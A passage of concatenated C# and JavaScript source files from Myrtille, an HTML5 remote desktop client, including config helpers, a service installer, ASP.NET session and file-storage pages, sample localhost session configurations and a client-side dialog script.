{ XmlNode theNode = null; if ((parentNode != null) && (parentNode.ChildNodes != null) && (parentNode.ChildNodes.Count > 0)) { foreach (XmlNode node in parentNode.ChildNodes) { if (node.Name.ToUpper().Equals(name.ToUpper())) { theNode = node; break; } } } return theNode; } public static XmlNode GetNode( XPathNavigator navigator, string path) { XmlNode node = null; var iterator = navigator.Select(path); if (iterator.Count == 1) { iterator.MoveNext(); node = ((IHasXmlNode)iterator.Current).GetNode(); } return node; } public static string ReadConfigKey( XmlNode parentNode, string key) { if ((parentNode != null) && (parentNode.ChildNodes != null) && (parentNode.ChildNodes.Count > 0)) { XmlNode theNode = null; foreach (XmlNode node in parentNode.ChildNodes) { if ((node.Name.ToUpper().Equals("ADD")) && (node.Attributes != null) && (node.Attributes["key"] != null) && (node.Attributes["key"].Value.ToUpper().Equals(key.ToUpper()))) { theNode = node; break; } } if ((theNode != null) && (theNode.Attributes != null) && (theNode.Attributes["value"] != null)) { var theNodeValue = theNode.Attributes["value"]; return theNodeValue.Value; } } return null; } public static void WriteConfigKey( XmlNode parentNode, string key, string value) { if ((parentNode != null) && (parentNode.ChildNodes != null) && (parentNode.ChildNodes.Count > 0)) { XmlNode theNode = null; foreach (XmlNode node in parentNode.ChildNodes) { if ((node.Name.ToUpper().Equals("ADD")) && (node.Attributes != null) && (node.Attributes["key"] != null) && (node.Attributes["key"].Value.ToUpper().Equals(key.ToUpper()))) { theNode = node; break; } } if ((theNode != null) && (theNode.Attributes != null) && (theNode.Attributes["value"] != null)) { var theNodeValue = theNode.Attributes["value"]; theNodeValue.Value = value; } } } } }<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ using System; using System.Diagnostics; using System.IO; using System.IO.Pipes; using System.Text; namespace Myrtille.Helpers { public static class PipeHelper { /// <summary> /// write data to a named pipe /// </summary> /// <param name="pipe"></param> /// <param name="pipeName">named pipes don't have a "Name" property... passing it as param (used for error log)</param> /// <param name="message"></param> public static void WritePipeMessage( PipeStream pipe, string pipeName, string message) { try { if (pipe != null && pipe.IsConnected && pipe.CanWrite) { var buffer = Encoding.UTF8.GetBytes(message); pipe.Write(buffer, 0, buffer.Length); pipe.Flush(); } } catch (IOException) { Trace.TraceError("Failed to write message to pipe {0} (I/O error)", (string.IsNullOrEmpty(pipeName) ? "<unknown>" : pipeName)); } catch (Exception exc) { Trace.TraceError("Failed to write message to pipe {0} ({1})", (string.IsNullOrEmpty(pipeName) ? "<unknown>" : pipeName), exc); } } } }<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ using System; using System.Collections; using System.ComponentModel; using System.Configuration.Install; using System.Diagnostics; using System.ServiceProcess; using System.Windows.Forms; using Myrtille.Helpers; namespace Myrtille.Services { [RunInstaller(true)] public class ServicesInstaller : Installer { // required designer variable private Container components = null; private ServiceProcessInstaller serviceProcessInstaller; private ServiceInstaller serviceInstaller; #region Component Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.serviceProcessInstaller = new ServiceProcessInstaller(); this.serviceProcessInstaller.Account = ServiceAccount.LocalSystem; this.serviceProcessInstaller.Password = <PASSWORD>; this.serviceProcessInstaller.Username = null; this.serviceInstaller = new ServiceInstaller(); this.serviceInstaller.ServiceName = "Myrtille.Services"; this.serviceInstaller.StartType = ServiceStartMode.Automatic; this.Installers.AddRange(new Installer[] { this.serviceProcessInstaller, this.serviceInstaller}); } #endregion public ServicesInstaller() { // This call is required by the Designer. InitializeComponent(); } public override void Install( IDictionary stateSaver) { // enable the line below to debug this installer; disable otherwise //MessageBox.Show("Attach the .NET debugger to the 'MSI Debug' msiexec.exe process now for debug. Click OK when ready...", "MSI Debug"); // if the installer is running in repair mode, it will try to re-install Myrtille... which is fine // problem is, it won't uninstall it first... which is not fine because some components can't be installed twice! // thus, prior to any install, try to uninstall first Trace.TraceInformation("Myrtille.Services is being installed, cleaning first"); try { Uninstall(null); } catch (Exception exc) { Trace.TraceInformation("Failed to clean Myrtille.Services ({0})", exc); } base.Install(stateSaver); // insert code as needed } public override void Commit( IDictionary savedState) { base.Commit(savedState); StartService(); } public override void Rollback( IDictionary savedState) { StopService(); base.Rollback(savedState); } public override void Uninstall( IDictionary savedState) { // enable the line below to debug this installer; disable otherwise //MessageBox.Show("Attach the .NET debugger to the 'MSI Debug' msiexec.exe process now for debug. Click OK when ready...", "MSI Debug"); StopService(); base.Uninstall(savedState); } private void StartService() { Trace.TraceInformation("Starting Myrtille.Services"); // try to start the service // in case of failure, ask for a manual start after install try { var sc = new ServiceController(serviceInstaller.ServiceName); if (sc.Status == ServiceControllerStatus.Stopped) { sc.Start(); Trace.TraceInformation("Started Myrtille.Services"); } else { Trace.TraceInformation("Myrtille.Services is not stopped (status: {0})", sc.Status); } } catch (Exception exc) { MessageBox.Show( ActiveWindow.Active, serviceInstaller.ServiceName + " windows service could not be started by this installer. Please do it manually once the installation is complete", serviceInstaller.ServiceName, MessageBoxButtons.OK, MessageBoxIcon.Warning); Context.LogMessage(exc.InnerException != null ? exc.InnerException.Message : exc.Message); Trace.TraceError("Failed to start Myrtille.Services ({0})", exc); } } private void StopService() { Trace.TraceInformation("Stopping Myrtille.Services"); // if the service is running while uninstall is going on, the user is asked wether to stop it or not // problem is, if the user choose "no", the service is not stopped thus won't be removed // force stop it at this step, if not already done try { var sc = new ServiceController(serviceInstaller.ServiceName); if (sc.Status == ServiceControllerStatus.Running) { sc.Stop(); Trace.TraceInformation("Stopped Myrtille.Services"); } else { Trace.TraceInformation("Myrtille.Services is not running (status: {0})", sc.Status); } } catch (Exception exc) { Context.LogMessage(exc.InnerException != null ? exc.InnerException.Message : exc.Message); Trace.TraceError("Failed to stop Myrtille.Services ({0})", exc); } } /// <summary> /// Clean up any resources being used. /// </summary> protected override void Dispose( bool disposing) { if (disposing) { if (components != null) { components.Dispose(); } } base.Dispose(disposing); } } }<file_sep>(function () { 'use strict'; app.controller('RightController', RightController); function RightController() { } })();<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ using System; using System.Web; using System.Web.UI; namespace Myrtille.Web { public partial class RemoteClipboard : Page { /// <summary> /// retrieve the remote session clipboard /// </summary> /// <param name="sender"></param> /// <param name="e"></param> protected void Page_Load( object sender, EventArgs e) { // if cookies are enabled, the http session id is added to the http request headers; otherwise, it's added to the http request url // in both cases, the given http session is automatically bound to the current http context RemoteSessionManager remoteSessionManager = null; try { var sessionId = HttpContext.Current.Request.QueryString["sessionId"]; // retrieve the remote session manager for the requested session if (RemoteSessionManager.CurrentSessions.ContainsKey(sessionId)) { remoteSessionManager = RemoteSessionManager.CurrentSessions[sessionId]; } } catch (Exception exc) { System.Diagnostics.Trace.TraceError("Failed to retrieve the remote session manager for the http session {0}, ({1})", HttpContext.Current.Session.SessionID, exc); return; } try { System.Diagnostics.Trace.TraceInformation("Requesting remote clipboard, remote session {0}", remoteSessionManager.RemoteSession.Id); remoteSessionManager.SendCommand(RemoteSessionCommand.RequestRemoteClipboard); } catch (Exception exc) { System.Diagnostics.Trace.TraceError("Failed to retrieve remote clipboard, remote session {0} ({1})", remoteSessionManager.RemoteSession.Id, exc); } } } }<file_sep>using System; namespace Myrtille.Fleck.Helpers { public static class MonoHelper { public static bool IsRunningOnMono () { return Type.GetType ("Mono.Runtime") != null; } } } <file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; namespace Myrtille.Web { public partial class Disconnect : Page { class RequestParams { public string sessionId; } /// <summary> /// send user input(s) (mouse, keyboard) to the rdp session /// if long-polling is disabled (xhr only), also returns image data within the response /// </summary> /// <param name="sender"></param> /// <param name="e"></param> protected void Page_Load( object sender, EventArgs e) { string sessionId = null; RemoteSessionManager remoteSessionManager = null; try { // Reading JSON from Request System.IO.Stream body = Request.InputStream; System.Text.Encoding encoding = Request.ContentEncoding; System.IO.StreamReader reader = new System.IO.StreamReader(body, encoding); string requestBody = reader.ReadToEnd(); var requestParams = Newtonsoft.Json.JsonConvert.DeserializeObject<RequestParams>(requestBody); sessionId = requestParams.sessionId; // retrieve the remote session manager for the requested session if (RemoteSessionManager.CurrentSessions.ContainsKey(sessionId)) { remoteSessionManager = RemoteSessionManager.CurrentSessions[sessionId]; } } catch (Exception exc) { System.Diagnostics.Trace.TraceError("Failed to retrieve the remote session manager for the session ID {0}, ({1})", sessionId ?? "unspecified", exc); HttpContext.Current.Response.StatusCode = (int)System.Net.HttpStatusCode.BadRequest; HttpContext.Current.Response.Write($"{{\"message\":\"Failed to retrieve the remote session.\"}}"); return; } // disconnect the active remote session, if any and connected if (remoteSessionManager.RemoteSession.State == RemoteSessionState.Connecting || remoteSessionManager.RemoteSession.State == RemoteSessionState.Connected) { try { // update the remote session state remoteSessionManager.RemoteSession.State = RemoteSessionState.Disconnecting; // send a disconnect command to the rdp client remoteSessionManager.SendCommand(RemoteSessionCommand.CloseRdpClient); } catch (Exception exc) { System.Diagnostics.Trace.TraceError("Failed to disconnect remote session {0} ({1})", remoteSessionManager.RemoteSession.Id, exc); HttpContext.Current.Response.StatusCode = (int)System.Net.HttpStatusCode.BadRequest; HttpContext.Current.Response.Write($"{{\"message\":\"Failed to disconnect the remote session.\"}}"); return; } } } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Web; namespace Myrtille.Web { public class SessionConfig { public static List<SessionConfig> AvailableConfigs { get; } = new List<SessionConfig>(); static int _currentID { get; set; } = 1; static int NextID { get { return _currentID++; } } public int ID { get; set; } public string ServerAddress { get; set; } public string UserDomain { get; set; } public string UserName { get; set; } public string UserPassword { get; set; } public List<string> Programs { get; set; } static SessionConfig() { AvailableConfigs.Add(new SessionConfig { ID = NextID, ServerAddress = "127.0.0.2", UserDomain = "", UserName = "test", UserPassword = "<PASSWORD>", Programs = new List<string> { "", "notepad", "calc", "chrome" } }); AvailableConfigs.Add(new SessionConfig { ID = NextID, ServerAddress = "127.0.0.2", UserDomain = "", UserName = "test1", UserPassword = "<PASSWORD>", Programs = new List<string> { "", "notepad", "calc", "chrome" } }); AvailableConfigs.Add(new SessionConfig { ID = NextID, ServerAddress = "127.0.0.2", UserDomain = "", UserName = "test2", UserPassword = "<PASSWORD>", Programs = new List<string> { "", "notepad", "calc", "chrome" } }); AvailableConfigs.Add(new SessionConfig { ID = NextID, ServerAddress = "127.0.0.2", UserDomain = "", UserName = "test3", UserPassword = "<PASSWORD>", Programs = new List<string> { "", "notepad", "calc", "chrome" } }); AvailableConfigs.Add(new SessionConfig { ID = NextID, ServerAddress = "127.0.0.2", UserDomain = "", UserName = "test4", UserPassword = "<PASSWORD>", Programs = new List<string> { "", "notepad", "calc", "chrome" } }); AvailableConfigs.Add(new SessionConfig { ID = NextID, ServerAddress = "127.0.0.2", UserDomain = "", UserName = "test5", UserPassword = "<PASSWORD>", Programs = new List<string> { "", "notepad", "calc", "chrome" } }); } } }<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ using System; using System.Threading; using System.Web; using System.Web.UI; using Myrtille.Helpers; using Myrtille.Services.Contracts; namespace Myrtille.Web { public partial class FileStorage : Page { private RemoteSessionManager _remoteSessionManager; private FileStorageClient _fileStorageClient; /// <summary> /// initialization /// </summary> /// <param name="sender"></param> /// <param name="e"></param> protected void Page_Init( object sender, EventArgs e) { try { // retrieve the active remote session, if any if (HttpContext.Current.Session[HttpSessionStateVariables.RemoteSessionManager.ToString()] != null) { try { _remoteSessionManager = (RemoteSessionManager)HttpContext.Current.Session[HttpSessionStateVariables.RemoteSessionManager.ToString()]; } catch (Exception exc) { System.Diagnostics.Trace.TraceError("Failed to retrieve remote session manager ({0})", exc); } } // ensure there is an active remote session // if a domain is specified, the roaming user profile is loaded from the Active Directory // file storage is synchronized with the user "My documents" folder (will use folder redirection if defined) // user credentials will be checked prior to any file operation // if possible, use SSL to communicate with the service if (_remoteSessionManager != null && (_remoteSessionManager.RemoteSession.State == RemoteSessionState.Connecting || _remoteSessionManager.RemoteSession.State == RemoteSessionState.Connected) && (_remoteSessionManager.RemoteSession.ServerAddress.ToLower() == "localhost" || _remoteSessionManager.RemoteSession.ServerAddress == "127.0.0.1" || _remoteSessionManager.RemoteSession.ServerAddress == HttpContext.Current.Request.Url.Host || !string.IsNullOrEmpty(_remoteSessionManager.RemoteSession.UserDomain)) && !string.IsNullOrEmpty(_remoteSessionManager.RemoteSession.UserName) && !string.IsNullOrEmpty(_remoteSessionManager.RemoteSession.UserPassword)) { _fileStorageClient = new FileStorageClient(); var files = _fileStorageClient.GetUserDocumentsFolderFiles( _remoteSessionManager.RemoteSession.UserDomain, _remoteSessionManager.RemoteSession.UserName, _remoteSessionManager.RemoteSession.UserPassword); if (files.Count > 0) { fileToDownloadSelect.DataSource = files; fileToDownloadSelect.DataBind(); downloadFileButton.Disabled = false; } } } catch (Exception exc) { System.Diagnostics.Trace.TraceError("Failed to init file storage ({0})", exc); } } /// <summary> /// upload a file to the user "My documents" folder /// </summary> /// <param name="sender"></param> /// <param name="e"></param> protected void UploadFileButtonClick( object sender, EventArgs e) { try { if (_fileStorageClient == null) return; if (fileToUploadText.PostedFile == null) { System.Diagnostics.Trace.TraceInformation("File to upload is missing"); } else if (fileToUploadText.PostedFile.ContentLength == 0) { System.Diagnostics.Trace.TraceInformation("File to upload is empty"); } else { _fileStorageClient.UploadFileToUserDocumentsFolder( new UploadRequest { Domain = _remoteSessionManager.RemoteSession.UserDomain, UserName = _remoteSessionManager.RemoteSession.UserName, UserPassword = <PASSWORD>Manager.<PASSWORD>, FileName = fileToUploadText.PostedFile.FileName, Stream = fileToUploadText.PostedFile.InputStream }); // reload the page to have the newly uploaded file available for download Response.Redirect(Request.RawUrl + (Request.RawUrl.Contains("?") ? "&" : "?") + "upload=success"); } } catch (ThreadAbortException) { // occurs because the response is ended after reloading the page } catch (Exception exc) { System.Diagnostics.Trace.TraceError("Failed to upload file ({0})", exc); } } /// <summary> /// download a file from the user "My documents" folder /// </summary> /// <param name="sender"></param> /// <param name="e"></param> protected void DownloadFileButtonClick( object sender, EventArgs e) { try { if (_fileStorageClient == null) return; if (!string.IsNullOrEmpty(fileToDownloadSelect.Value)) { var fileStream = _fileStorageClient.DownloadFileFromUserDocumentsFolder( _remoteSessionManager.RemoteSession.UserDomain, _remoteSessionManager.RemoteSession.UserName, _remoteSessionManager.RemoteSession.UserPassword, fileToDownloadSelect.Value); FileHelper.DownloadFile(Response, fileStream, fileToDownloadSelect.Value, true); } } catch (ThreadAbortException) { // occurs because the response is ended after sending the file content } catch (Exception exc) { System.Diagnostics.Trace.TraceError("Failed to download file ({0})", exc); } } } }<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /*****************************************************************************************************************************************************************************************************/ /*** Dialog ***/ /*****************************************************************************************************************************************************************************************************/ function Dialog(config) { /*************************************************************************************************************************************************************************************************/ /*** Stat ***/ /*************************************************************************************************************************************************************************************************/ var statDiv = null; var statLatency = 0; var statKeyboardBuffer = 'NONE'; var statMouseBuffer = 'NONE'; var statBandwidthUsage = 0; var statBandwidthSize = 0; var statWebSocketEnabled = config.getWebSocketEnabled(); var statLongpollingEnabled = config.getLongPollingEnabled(); var statCanvasEnabled = config.getCanvasEnabled(); var statImageCount = 0; var statImageCountPerSec = 0; var statImageCountOk = config.getImageCountOk(); var statImageCountMax = config.getImageCountMax(); var statImageIndex = 0; var statImageFormat = 'png'; var statImageQuality = 100; var statImageBase64Enabled = config.getImageBase64Enabled(); var statImageSize = 0; // display settings and connection info this.showStat = function(key, value) { try { if (!config.getStatEnabled()) return; //this.showDebug('stat: ' + key); if (statDiv == null) { statDiv = document.getElementById('statDiv'); if (statDiv == null) { this.showDebug('statDiv is undefined'); return; } statDiv.style.display = 'block'; statDiv.style.visibility = 'visible'; } switch (key) { case 'latency': statLatency = value; break; case 'keyboard': statKeyboardBuffer = value; break; case 'mouse': statMouseBuffer = value; break; case 'buffer': statKeyboardBuffer = value; statMouseBuffer = value; break; case 'bandwidthUsage': statBandwidthUsage = value; break; case 'bandwidthSize': statBandwidthSize = value; break; case 'websocket': statWebSocketEnabled = value; break; case 'longpolling': statLongpollingEnabled = value; break; case 'canvas': statCanvasEnabled = value; break; case 'imageCount': statImageCount = value; break; case 'imageCountPerSec': statImageCountPerSec = value; break; case 'imageCountOk': statImageCountOk = value; break; case 'imageCountMax': statImageCountMax = value; break; case 'imageIndex': statImageIndex = value; break; case 'imageFormat': statImageFormat = value; break; case 'imageQuality': statImageQuality = value; break; case 'imageBase64': statImageBase64Enabled = value; break; case 'imageSize': statImageSize = value; break; } statDiv.innerHTML = 'AVERAGE LATENCY (ms): ' + statLatency + ', ' + 'KEYBOARD BUFFER (ms): ' + statKeyboardBuffer + ', ' + 'MOUSE BUFFER (ms): ' + statMouseBuffer + ' (MOVES ' + (config.getMouseMoveSamplingRate() > 0 ? 'SAMPLED ' + config.getMouseMoveSamplingRate() + '%' : 'NOT SAMPLED') + '), ' + 'BANDWIDTH (KB/s): ' + statBandwidthUsage + '/' + statBandwidthSize + ' (' + (statBandwidthSize > 0 ? Math.round((statBandwidthUsage * 100) / statBandwidthSize) : 0) + '%), ' + 'PERIODICAL FSU (s): ' + config.getPeriodicalFullscreenIntervalDelay() / 1000 + ', ' + 'ADAPTIVE FSU (s): ' + config.getAdaptiveFullscreenTimeoutDelay() / 1000 + ', ' + 'WEBSOCKET: ' + (statWebSocketEnabled ? 'ON' : 'OFF') + ', ' + 'LONG-POLLING: ' + (statLongpollingEnabled ? 'ON (' + config.getLongPollingDuration() / 1000 + 's)' : 'OFF') + ', ' + 'CANVAS: ' + (statCanvasEnabled ? 'ON' : 'OFF') + ', ' + 'COUNT: ' + statImageCount + ' (' + statImageCountPerSec + '/s), OK: ' + statImageCountOk + ', MAX: ' + statImageCountMax + ', ' + 'INDEX: ' + statImageIndex + ', ' + 'FORMAT: ' + statImageFormat.toUpperCase() + ', ' + 'QUALITY: ' + statImageQuality + '%, ' + 'BASE64: ' + (statImageBase64Enabled ? 'ON' : 'OFF') + ', ' + 'SIZE (KB): ' + statImageSize; } catch (exc) { this.showDebug('dialog showStat error: ' + exc.Message); } }; /*************************************************************************************************************************************************************************************************/ /*** Debug ***/ /*************************************************************************************************************************************************************************************************/ var debugDiv = null; var debugLines = 0; var debugText = ''; // display debug info this.showDebug = function(message) { try { if (!config.getDebugEnabled() || message == '') return; if (config.getDebugConsole() && window.console && window.console.log) { console.log(message); return; } if (debugDiv == null) { debugDiv = document.getElementById('debugDiv'); if (debugDiv == null) { alert('debugDiv is undefined'); return; } debugDiv.style.display = 'block'; debugDiv.style.visibility = 'visible'; } if (debugLines > config.getDebugLinesMax()) { debugLines = 0; debugText = ''; } debugLines++; debugText += message + '<br/>'; debugDiv.innerHTML = debugText; } catch (exc) { alert('dialog showDebug error: ' + exc.Message); } }; /*************************************************************************************************************************************************************************************************/ /*** Message ***/ /*************************************************************************************************************************************************************************************************/ var msgDiv = null; var msgDisplayed = false; var msgDivTimeout = null; // display message info this.showMessage = function(message, duration) { try { if (msgDisplayed || message == '') return; if (msgDiv == null) { msgDiv = document.getElementById('msgDiv'); if (msgDiv == null) { this.showDebug('msgDiv is undefined'); return; } } msgDiv.style.display = 'block'; msgDiv.style.visibility = 'visible'; msgDiv.innerHTML = message; msgDisplayed = true; if (duration > 0) { if (msgDivTimeout != null) { window.clearTimeout(msgDivTimeout); msgDivTimeout = null; } msgDivTimeout = window.setTimeout(function() { doHideMessage(); }, duration); } } catch (exc) { this.showDebug('dialog showMessage error: ' + exc.Message); } }; this.hideMessage = function() { doHideMessage(); }; function doHideMessage() { try { if (!msgDisplayed) return; if (msgDiv != null) { msgDiv.style.display = 'none'; msgDiv.style.visibility = 'hidden'; msgDiv.innerHTML = ''; msgDisplayed = false; } } catch (exc) { this.showDebug('dialog hideMessage error: ' + exc.Message); } } /*************************************************************************************************************************************************************************************************/ /*** Keyboard helper ***/ /*************************************************************************************************************************************************************************************************/ var kbhDiv = null; var kbhText = ''; var kbhTimeout = null; // display typed keyboard text (useful when latency is high, the user can see the result of its action immediately and is able to evaluate the latency) this.showKeyboardHelper = function(text) { try { if (!config.getKeyboardHelperEnabled() || text == '') return; if (kbhDiv == null) { kbhDiv = document.getElementById('kbhDiv'); if (kbhDiv == null) { this.showDebug('kbhDiv is undefined'); return; } } kbhDiv.style.display = 'block'; kbhDiv.style.visibility = 'visible'; kbhText += text; if (kbhText.length > config.getKeyboardHelperSize()) { doHideKeyboardHelper(); } else { kbhDiv.innerHTML = kbhText; if (kbhTimeout != null) { window.clearTimeout(kbhTimeout); kbhTimeout = null; } kbhTimeout = window.setTimeout(function() { doHideKeyboardHelper(); }, config.getKeyboardHelperDelay()); } } catch (exc) { this.showDebug('dialog showKeyboardHelper error: ' + exc.Message); } }; this.hideKeyboardHelper = function() { doHideKeyboardHelper(); }; function doHideKeyboardHelper() { try { if (!config.getKeyboardHelperEnabled() || kbhDiv == null) return; if (kbhTimeout != null) { window.clearTimeout(kbhTimeout); kbhTimeout = null; } kbhDiv.style.display = 'none'; kbhDiv.style.visibility = 'hidden'; kbhText = ''; } catch (exc) { this.showDebug('dialog hideKeyboardHelper error: ' + exc.Message); } } } /*****************************************************************************************************************************************************************************************************/ /*** External Calls ***/ /*****************************************************************************************************************************************************************************************************/ var popup = null; function openPopup(id, src) { // lock background var bgfDiv = document.getElementById('bgfDiv'); if (bgfDiv != null) { bgfDiv.style.visibility = 'visible'; bgfDiv.style.display = 'block'; } // add popup popup = document.createElement('iframe'); popup.id = id; popup.src = src; popup.className = 'modalPopup'; document.body.appendChild(popup); } function closePopup() { // remove popup if (popup != null) { document.body.removeChild(popup); } // unlock background var bgfDiv = document.getElementById('bgfDiv'); if (bgfDiv != null) { bgfDiv.style.visibility = 'hidden'; bgfDiv.style.display = 'none'; } } var showDialogPopupDesc = null; this.getShowDialogPopupDesc = function() { return showDialogPopupDesc; }; var showDialogPopupText = null; this.getShowDialogPopupText = function() { return showDialogPopupText; }; var showDialogPopupSelectText = false; this.getShowDialogPopupSelectText = function() { return showDialogPopupSelectText; }; this.showDialogPopup = function(id, src, desc, text, selectText) { // properties showDialogPopupDesc = desc; showDialogPopupText = text; showDialogPopupSelectText = selectText; // popup openPopup(id, src); }<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ using System; using System.IO; using System.Text; using System.Text.RegularExpressions; using System.Web; using System.Web.UI; namespace Myrtille.Web { public partial class Default : Page { protected RemoteSessionManager RemoteSessionManager; /// <summary> /// initialization /// </summary> /// <param name="sender"></param> /// <param name="e"></param> protected void Page_Load( object sender, EventArgs e) { try { // disable the browser cache; in addition to a "noCache" dummy param, with current time, on long-polling and xhr requests Response.Cache.SetCacheability(HttpCacheability.NoCache); Response.Cache.SetNoStore(); } catch (Exception exc) { System.Diagnostics.Trace.TraceError("Failed to load myrtille ({0})", exc); } } /// <summary> /// force remove the .net viewstate hidden fields from page (large bunch of unwanted data in url) /// </summary> /// <param name="writer"></param> protected override void Render( HtmlTextWriter writer) { var sb = new StringBuilder(); var sw = new StringWriter(sb); var tw = new HtmlTextWriter(sw); base.Render(tw); var html = sb.ToString(); html = Regex.Replace(html, "<input[^>]*id=\"(__VIEWSTATE)\"[^>]*>", string.Empty, RegexOptions.IgnoreCase); html = Regex.Replace(html, "<input[^>]*id=\"(__VIEWSTATEGENERATOR)\"[^>]*>", string.Empty, RegexOptions.IgnoreCase); writer.Write(html); } /// <summary> /// stop the rdp session /// </summary> /// <param name="sender"></param> /// <param name="e"></param> protected void DisconnectButtonClick( object sender, EventArgs e) { // disconnect the active remote session, if any and connected if (RemoteSessionManager != null && (RemoteSessionManager.RemoteSession.State == RemoteSessionState.Connecting || RemoteSessionManager.RemoteSession.State == RemoteSessionState.Connected)) { try { // update the remote session state RemoteSessionManager.RemoteSession.State = RemoteSessionState.Disconnecting; // send a disconnect command to the rdp client RemoteSessionManager.SendCommand(RemoteSessionCommand.CloseRdpClient); } catch (Exception exc) { System.Diagnostics.Trace.TraceError("Failed to disconnect remote session {0} ({1})", RemoteSessionManager.RemoteSession.Id, exc); } } } } }<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; namespace Myrtille.Web { public partial class StartConnection: Page { class RequestParams { public int configID; public string program; } /// <summary> /// send user input(s) (mouse, keyboard) to the rdp session /// if long-polling is disabled (xhr only), also returns image data within the response /// </summary> /// <param name="sender"></param> /// <param name="e"></param> protected void Page_Load( object sender, EventArgs e) { string sessionId = null; RemoteSessionManager remoteSessionManager = null; try { // Reading JSON from Request System.IO.Stream body = Request.InputStream; System.Text.Encoding encoding = Request.ContentEncoding; System.IO.StreamReader reader = new System.IO.StreamReader(body, encoding); string requestBody = reader.ReadToEnd(); var requestParams = Newtonsoft.Json.JsonConvert.DeserializeObject<RequestParams>(requestBody); var configID = requestParams.configID; var program = requestParams.program; var sessionConfig = SessionConfig.AvailableConfigs.Single(x => x.ID == configID); // retrieve params var serverAddress = sessionConfig.ServerAddress; //HttpContext.Current.Request.QueryString["serverAddress"]; var userDomain = sessionConfig.UserDomain;//HttpContext.Current.Request.QueryString["userDomain"]; var userName = sessionConfig.UserName;// HttpContext.Current.Request.QueryString["userName"]; var userPassword = sessionConfig.UserPassword;//HttpContext.Current.Request.QueryString["userPassword"]; var clientWidth = "1200";//HttpContext.Current.Request.QueryString["clientWidth"]; var clientHeight = "600";// HttpContext.Current.Request.QueryString["clientHeight"]; var statMode = false;// HttpContext.Current.Request.QueryString["statMode"] == "true"; var debugMode = false;//HttpContext.Current.Request.QueryString["bandwidthRatio"] == "true"; var compatibilityMode = false;//HttpContext.Current.Request.QueryString["bandwidthRatio"] == "true"; //var program = "";// HttpContext.Current.Request.QueryString["bandwidthRatio"]; var programName = string.IsNullOrEmpty(program) ? "Remote Desktop" : "Remote Apps"; sessionId = $"{userName} - {programName}";//Guid.NewGuid().ToString().Substring(0, 8); if (RemoteSessionManager.CurrentSessions.ContainsKey(sessionId)) { HttpContext.Current.Response.StatusCode = (int)System.Net.HttpStatusCode.BadRequest; HttpContext.Current.Response.Write($"{{\"message\":\"There is already an active session for the requested connection.\"}}"); return; } // create the remote session manager remoteSessionManager = new RemoteSessionManager( new RemoteSession { Id = RemoteSessionManager.NewId, SessionId = sessionId, State = RemoteSessionState.NotConnected, ServerAddress = serverAddress, UserDomain = userDomain, UserName = userName, UserPassword = <PASSWORD>, ClientWidth = clientWidth, ClientHeight = clientHeight, StatMode = statMode, DebugMode = debugMode, CompatibilityMode = 